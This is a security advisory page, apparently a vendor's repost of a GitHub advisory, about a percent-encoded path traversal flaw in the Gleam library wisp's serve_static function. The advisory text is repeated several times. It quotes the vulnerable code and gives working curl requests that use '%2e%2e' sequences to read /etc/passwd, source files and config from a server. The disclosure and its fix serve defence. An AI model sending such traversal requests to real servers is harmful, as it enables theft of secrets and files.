### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
Update wisp to 2.2.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanWisp Vulnerable to Path Traversal affects wisp (erlang). Severity is high. ### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
AI coding agents often install or upgrade packages automatically in erlang. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| wisperlang | >=2.1.1,<2.2.1 | 2.2.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate wisp to 2.2.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanWisp Vulnerable to Path Traversal affects wisp (erlang). Severity is high. ### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
AI coding agents often install or upgrade packages automatically in erlang. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| wisperlang | >=2.1.1,<2.2.1 | 2.2.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard